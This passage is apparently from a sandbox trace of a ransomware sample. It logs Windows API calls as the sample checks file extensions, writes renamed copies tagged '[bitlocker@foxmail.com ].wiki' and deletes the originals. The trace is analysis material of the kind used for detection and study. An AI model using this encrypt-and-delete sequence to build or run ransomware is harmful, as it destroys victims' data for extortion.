lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0199.106] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.106] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.106] SetEndOfFile (hFile=0x20c) returned 1 [0199.106] CloseHandle (hObject=0x20c) returned 1 [0199.106] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.106] SetEndOfFile (hFile=0x1cc) returned 1 [0199.107] CloseHandle (hObject=0x1cc) returned 1 [0199.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0199.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.107] lstrlenW (lpString=".doc") returned 4 [0199.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.107] lstrlenW (lpString=".docx") returned 5 [0199.107] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.107] lstrlenW (lpString=".pdf") returned 4 [0199.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.107] lstrlenW (lpString=".xls") returned 4 [0199.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.107] lstrlenW (lpString=".xlsx") returned 5 [0199.107] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.107] lstrlenW (lpString=".ppt") returned 4 [0199.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.108] lstrlenW (lpString=".zip") returned 4 [0199.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.108] lstrlenW (lpString=".rar") returned 4 [0199.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString=".bz2") returned 4 [0199.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString=".7z") returned 3 [0199.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.108] lstrlenW (lpString=".dbf") returned 4 [0199.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.108] lstrlenW (lpString=".1cd") returned 4 [0199.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.108] lstrlenW (lpString=".jpg") returned 4 [0199.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.108] lstrlenW (lpString=".doc") returned 4 [0199.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString=".docx") returned 5 [0199.108] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.108] lstrlenW (lpString=".pdf") returned 4 [0199.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.108] lstrlenW (lpString=".xls") returned 4 [0199.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.108] lstrlenW (lpString=".xlsx") returned 5 [0199.108] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.109] lstrlenW (lpString=".ppt") returned 4 [0199.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.109] lstrlenW (lpString=".zip") returned 4 [0199.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.109] lstrlenW (lpString=".rar") returned 4 [0199.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.109] lstrlenW (lpString=".bz2") returned 4 [0199.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.109] lstrlenW (lpString=".7z") returned 3 [0199.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.109] lstrlenW (lpString=".dbf") returned 4 [0199.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.109] lstrlenW (lpString=".1cd") returned 4 [0199.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0199.109] lstrlenW (lpString=".jpg") returned 4 [0199.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.109] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.109] lstrlenW (lpString="J0174635.WMF") returned 12 [0199.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.110] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9736) returned 1 [0199.110] CloseHandle (hObject=0x1cc) returned 1 [0199.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 0x20 [0199.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.110] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.110] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.111] GetLastError () returned 0x0 [0199.111] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2608, lpOverlapped=0x0) returned 1 [0199.112] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2610, lpOverlapped=0x0) returned 1 [0199.113] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.114] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.114] SetEndOfFile (hFile=0x20c) returned 1 [0199.114] CloseHandle (hObject=0x20c) returned 1 [0199.114] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.114] SetEndOfFile (hFile=0x1cc) returned 1 [0199.115] CloseHandle (hObject=0x1cc) returned 1 [0199.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0199.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.115] lstrlenW (lpString=".doc") returned 4 [0199.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.115] lstrlenW (lpString=".docx") returned 5 [0199.115] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.115] lstrlenW (lpString=".pdf") returned 4 [0199.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.115] lstrlenW (lpString=".xls") returned 4 [0199.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.115] lstrlenW (lpString=".xlsx") returned 5 [0199.115] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.115] lstrlenW (lpString=".ppt") returned 4 [0199.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.116] lstrlenW (lpString=".zip") returned 4 [0199.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.116] lstrlenW (lpString=".rar") returned 4 [0199.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString=".bz2") returned 4 [0199.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString=".7z") returned 3 [0199.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.116] lstrlenW (lpString=".dbf") returned 4 [0199.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.116] lstrlenW (lpString=".1cd") returned 4 [0199.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.116] lstrlenW (lpString=".jpg") returned 4 [0199.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.116] lstrlenW (lpString=".doc") returned 4 [0199.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString=".docx") returned 5 [0199.116] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.116] lstrlenW (lpString=".pdf") returned 4 [0199.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.116] lstrlenW (lpString=".xls") returned 4 [0199.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.117] lstrlenW (lpString=".xlsx") returned 5 [0199.117] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.117] lstrlenW (lpString=".ppt") returned 4 [0199.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.117] lstrlenW (lpString=".zip") returned 4 [0199.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.117] lstrlenW (lpString=".rar") returned 4 [0199.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.117] lstrlenW (lpString=".bz2") returned 4 [0199.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.117] lstrlenW (lpString=".7z") returned 3 [0199.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.117] lstrlenW (lpString=".dbf") returned 4 [0199.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.117] lstrlenW (lpString=".1cd") returned 4 [0199.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0199.117] lstrlenW (lpString=".jpg") returned 4 [0199.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.117] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.117] lstrlenW (lpString="J0174639.WMF") returned 12 [0199.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.118] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5100) returned 1 [0199.118] CloseHandle (hObject=0x1cc) returned 1 [0199.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 0x20 [0199.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.118] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.118] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.119] GetLastError () returned 0x0 [0199.119] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x13ec, lpOverlapped=0x0) returned 1 [0199.120] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0199.121] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.121] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.122] SetEndOfFile (hFile=0x20c) returned 1 [0199.122] CloseHandle (hObject=0x20c) returned 1 [0199.122] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.122] SetEndOfFile (hFile=0x1cc) returned 1 [0199.122] CloseHandle (hObject=0x1cc) returned 1 [0199.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.123] lstrlenW (lpString=".doc") returned 4 [0199.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.123] lstrlenW (lpString=".docx") returned 5 [0199.123] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.123] lstrlenW (lpString=".pdf") returned 4 [0199.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.123] lstrlenW (lpString=".xls") returned 4 [0199.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.123] lstrlenW (lpString=".xlsx") returned 5 [0199.123] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.123] lstrlenW (lpString=".ppt") returned 4 [0199.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.123] lstrlenW (lpString=".zip") returned 4 [0199.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.123] lstrlenW (lpString=".rar") returned 4 [0199.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.123] lstrlenW (lpString=".bz2") returned 4 [0199.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString=".7z") returned 3 [0199.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.124] lstrlenW (lpString=".dbf") returned 4 [0199.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.124] lstrlenW (lpString=".1cd") returned 4 [0199.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.124] lstrlenW (lpString=".jpg") returned 4 [0199.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.124] lstrlenW (lpString=".doc") returned 4 [0199.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString=".docx") returned 5 [0199.124] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.124] lstrlenW (lpString=".pdf") returned 4 [0199.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString=".xls") returned 4 [0199.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.124] lstrlenW (lpString=".xlsx") returned 5 [0199.124] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.124] lstrlenW (lpString=".ppt") returned 4 [0199.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.124] lstrlenW (lpString=".zip") returned 4 [0199.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.125] lstrlenW (lpString=".rar") returned 4 [0199.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.125] lstrlenW (lpString=".bz2") returned 4 [0199.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.125] lstrlenW (lpString=".7z") returned 3 [0199.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.125] lstrlenW (lpString=".dbf") returned 4 [0199.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.125] lstrlenW (lpString=".1cd") returned 4 [0199.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0199.125] lstrlenW (lpString=".jpg") returned 4 [0199.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.125] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.125] lstrlenW (lpString="J0174952.JPG") returned 12 [0199.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.126] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=24982) returned 1 [0199.126] CloseHandle (hObject=0x1cc) returned 1 [0199.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 0x20 [0199.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.126] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.126] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.127] GetLastError () returned 0x0 [0199.127] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x6196, lpOverlapped=0x0) returned 1 [0199.279] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x61a0, lpOverlapped=0x0) returned 1 [0199.280] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.280] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.280] SetEndOfFile (hFile=0x20c) returned 1 [0199.280] CloseHandle (hObject=0x20c) returned 1 [0199.280] 